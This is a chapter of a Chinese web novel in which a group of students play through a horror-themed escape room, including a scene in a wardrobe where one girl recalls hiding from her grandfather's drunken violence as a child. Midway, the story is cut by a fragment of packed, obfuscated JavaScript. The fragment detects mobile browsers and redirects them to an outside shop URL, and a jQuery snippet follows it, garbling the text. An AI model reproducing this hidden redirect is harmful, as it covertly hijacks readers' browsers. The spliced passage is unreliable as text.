江一阳旷考的代价就是被主任劈头盖脸地骂了一通,然后在正式开始寒假假期的那天只有他被留下了进行了一场一个人的补考,剩下几个人很讲义气地也留了下来等他。
“所以大小姐是真的已经走了?还干脆出国了?”付书耳双手撑着下巴支在桌上,叹了口气,“难怪江一阳这两天这么颓,害。”
江一阳这个人吧,话很多嗓门还大,好像跟路过的蚂蚁都能聊上两句,然后把它吓跑,自己再跟自己叨叨几句人家不懂他。
正因为平时这货的声音存在感太强,所以他情绪低不怎么说话的时候给人的感觉就极其明显,就好像一直在发光的太阳突然有一天不转了、黯淡了下去。
“他有什么很喜欢做的事情吗?”宋知棠问。
站在自己位子边上的陆星野思索了下,语气略微迟疑:“打球?”
说着他的视线往贺予周那偏了偏。
贺予周闻言嗯了一声。
付书耳说:“可是放假了器材室应该不开门吧?”
“那……”宋知棠刚要朝陆星野偏头,就听见付书耳一拍掌,“等等,我有办法了!”
她杏眼弯了弯,“我们出去玩,等会儿你们配合我。”
接近两个小时江一阳才从考场出来,付书耳站起身欢迎他:“考完了?”
江一阳把笔扔进桌肚,嗯了一声。
“欸呀,别垂头丧气的了,上次那个约定就当是我输了,我请你喝奶茶。”付书耳仗义地拍了拍他的肩,“我听说人在喝甜奶茶的时候心情会变好,对吧棠棠?”
宋知棠也站起来,连忙点头。
江一阳奇怪地看了他们四个一眼:“什么约定?还有谁心情不好了?”
付书耳说:“鬼屋的那个啊。”她不由得上下扫了江一阳一眼,“难道你现在看起来心情很好?”
“。”
“我心情可好了,哈哈。”江一阳干巴巴地假笑两声,“还有,谁要你让了,我明明能用本事赢!”
“你确定?”付书耳用怀疑的眼神看他。
江一阳挺起胸膛:“那当然。”
……
这一次人齐了并且店还开着,这家店是一种半剧本式的类型,有故事背景和故事内容,规则也很不同:
【每一个场景下会有不同的npc轮流出现,并且一个房间里只有唯一一个安全区,玩家需要在里面发现散落的故事碎片,最后拼凑成完整的故事线即为挑战成功。】
付书耳看完表示完全没问题,“了解,里面还有两条单线任务。”她转头,“是你说要比的哦,不许赖账。”
江一阳清了清嗓子:“当然。”
几个人一同进门,一推开门便从天花板上掉下来一具吊着的仿真尸体,宋知棠下意识后退了半步。
后面的陆星野伸手虚虚拦了一下,说:“没事,假的而已。”
“棠棠别怕,我保护你。”付书耳回头。
宋知棠嗯了一声:“我不怕。”
尸体垂落下来的杂乱长发轻晃,隐约能看见内里做工并不是特别精细的鬼面。
众人这才继续往前走,突然,一道尖锐阴冷的女声响起来:“是谁?”
说完这两个字语气又变得焦急起来:“是二郎吗?是二郎你回来了吗?是你回来娶我了吗?”
“哇塞。”付书耳忍不住探头瞅了一眼,“高级啊,竟然还会说话。”
女声突然戛然而止,片刻后更加刺耳尖锐:“不是他?你们是谁?!”
继而崩溃:“为什么!我等了你一年又一年!你明明说好高中之后就回来娶我的!为什么要骗我!!”
“呸,渣男。”付书耳听得愤愤不平,“根据我的经验,那个什么二郎肯定是高中之后被哪个高门的小姐看中了然后抛弃了女主。”
几人身后的门忽然来回晃动几下,然后砰地一声合上,隔绝了外面所有的光源,冷气漫延。
“啊!”
咔哒——有人打开了手电,虽然只亮起了一道微弱的光束,但效果不错,尖叫的两个人同时停了下来。
“?”
江一阳:“不是?你不是不怕吗你?”
付书耳:“明明是你先叫的,我是被你的叫声吓到的好嘛?”
“。”
付书耳:“你还说我?我记得某人当时说的也是不怕吧?”
江一阳:“我、我才不是怕,只是有点、有点没准备。”
“那好。”付书耳顺着那道微乎其微的光束往前指,“前面有两个入口,我们分成两队怎么样?”
江一阳点头:“好,你一队我一队。”他想了想,下巴朝旁边的贺予周抬了抬,“那我再把周哥让给你。”
付书耳的视线也随着他看了一眼,语气迟疑:“你的意思是说……我们两个人一队?”
江一阳:“你不愿意?好吧,那你说怎么分?”
“当然不是!”像是意识到自己的反应过大了点,付书耳瞥了瞥贺予周,声音小下去,“……那你总得问问别人的意见吧?”
“嗐放心。”江一阳打包票道,“周哥肯定没意见的,对吧周哥?”
贺予周已经迈开长腿往前走了,“就这样吧。”
江一阳转过身,朝另外两人很是殷勤地笑:“阿野你们俩……”
陆星野偏头去看宋知棠。
宋知棠刚才就收到了付书耳给她递的眼神,这会儿指了另一条入口:“这边吧。”
江一阳果断双手合十:“大恩不言谢。”
通往第二个房间要经过一条很长的回廊,两边墙壁上的窗户时不时便忽然打开冒出npc的鬼脸。
江一阳一路上都是扒拉在陆星野身上过的,后者额角突突地跳,如果不是推开他他就要去缠宋知棠,陆星野铁定是不会允许某人碰到他的。
尽处推开门是一间古代婚房,大红色的床幔下立坐着一位身穿红色嫁衣的女子,盖头遮住了脸,一时间分不清是道具还是真人。
“卧槽。”江一阳吓一跳,不太敢上前,缩在后边说,“她、她、她应该不会动吧?”
蓦地,那道尖锐的女声再次响起:
“我的簪子呢!?我的簪子呢?他们把二郎送我的簪子抢走了!我的簪子,我的簪子,我的簪子……”
确认床边的“人”没动后,江一阳的胆子回来了,“她这次怎么只重复这一句话了?”
说完立马转头看向陆星野:“阿野你有何高见?”
“我觉得、”陆星野思忖着说,“应该是要我们找到她的簪子。”
江一阳睁大眼睛:“这么大一间屋子找那么小一根……”
他话音未落,就听见宋知棠平静地说:“在刚才的走廊上。”
闻言陆星野和江一阳同时转头看她。
宋知棠以为他们俩不信,补充说:“我看见了。”
陆星野嗯一声:“那我们回去一趟。”
“等等?你看见了?!确定吗?”江一阳的眼睛睁得更大了,“不是?刚才那种情况下你还能看到周围有什么?”
“不然你在这等着,我们去?”陆星野慢悠悠地说。
“!”
江一阳回头看了一眼床边的红盖头新娘,那画面越看越渗人,他当即第一个拉开门跳了出去,“那还、还是咱们一起吧。”
刚出门他又被吓一跳——
门外不知道什么时候多了两个戴着白色面具的npc,见后边的人也要跟着出来拦住了。
双开的扇门晃了一下,周围又有对话传来:
“出什么事了?”
“新娘子饿了,差奴婢们去取些吃食。”
“哎呦,不过是乡野里长大的野丫头,真把自己当主子啦?呐,你一个人去,随意拿些便好。”
听完陆星野挑了挑眉:“单线任务?”
其中一个npc点了点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601264|181626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>外面的江一阳:“什么?!”
“嗯。”陆星野有点好笑,微微歪了点头,“不是你说要比赛?”
江一阳:“……”
见状宋知棠将手里的电筒伸过去给他。
江一阳:“……”
这货磨唧半天也没个行动,一会儿用英勇就义的表情说他马上就要去了,一会儿又哭丧着脸问如果他十分钟了还没回来会有人去找他吗。
直到门砰地一声再次合上,还能听见他在那边跟npc叨逼叨:“两位大哥或者姐姐,你们会一起跟我走吗?在下不认识去厨房的路啊……”
房间内的声音突然又变了。
“那一日我逃了,可是外面的人实在是太多了,于是我只能又藏了回来,我在衣柜里躲了一个晚上,他们在外面找了我一个晚上……”
陆星野突然有一种不好的预感,回头一看——原本安静坐在床边的新娘竟然缓慢地站了起来,脑袋以一种看起来诡异的姿势左右歪了两下。
“。”
“走。”
他立即拉住宋知棠的手腕朝衣柜跑,宋知棠一时间没反应过来,唯一的手电不小心掉到地上,骨碌滚了两圈然后停住了,她回头,看见光束贴着地面一路过去映亮了新娘的红嫁鞋。
“……”
柜子里空间不是很大,但站两个人完全没问题,宋知棠进去后下意识间抓住了陆星野的手臂,陆星野一顿,偏过头,语气带上些安抚的意味:“没事,这里应该是安全区。”
宋知棠从喉咙里嗯出一声,声音几乎微乎其微了。
鬼新娘还在缓慢地朝这边移动,陆星野低头也钻进去,他太高了,要半曲起身体才能勉强站下,柜门合上,视野变得愈发昏暗。
黑,太黑了,久违而熟悉的紧闭空间让宋知棠忍不住颤了颤眼睫。
“啪——啪——”
有人在外面拍打起柜门。
黑暗里,宋知棠攥紧了掌心。
不能。
不怕。
不可以。
恍惚间她感觉自己好像又回到了很小的时候,那时候外公一喝完酒就像变了一个人,回家后就红着脸打人骂人,每次这个时候外婆都会将那时小小的她塞进衣柜,然后锁上柜门,再把钥匙藏起来。
可是里面太黑了,她太害怕了,总是忍不住放声哭,外公听见了就在外面对着柜门又踢又骂。唯一那点能透进来微弱光线的缝隙里,她看见外公对着外婆拳打脚踢,她哭得越大声那个人打的就越狠。
于是她一点一点逼着自己不能怕,不能哭,不能发出一点点声音……
突然,有人轻轻捂住了她的眼睛。
柔软的衣料贴在她眼前,挡住了所有视野。
她听见这个人在她耳边低声说:“可以害怕的,没事,我在。”
心脏蓦然间像是被细线一圈圈缠绕,泛起又细又密的疼。
类似的黑暗从小就伴随着她,同时又赋予了她不再恐惧的能力,因为她不可以。
可是那个时候她还那么小,明明害怕是本能啊,但她只能缩在黑暗里不可以有一点点的动静。
现在终于有人跟她说,可以害怕的,没事,我在。
宋知棠睫羽轻微地动了几下,攥紧的指节缓慢地松开。
她确认似地轻轻喊他:“陆星野。”
“嗯,我在。”
“我在。”
“放心,很快就出去了。”
说完他突然扬声跟外面卖力拍打的NPC打起商量:“姐姐,差不多可以了吧?我们在里面有点怕,不然就放我们出去呗?”
外面的NPC停了片刻,然后象征性地又刮了两下,接着两人从缝隙间看见NPC慢慢提了一把椅子走到房间内的一扇窗户前,打开,踩上椅子,最后翻了出去。
见状陆星野连忙推开柜门,确认宋知棠也出来之后几步过去弯腰捡起地上的电筒,转身递给她,“没事了。”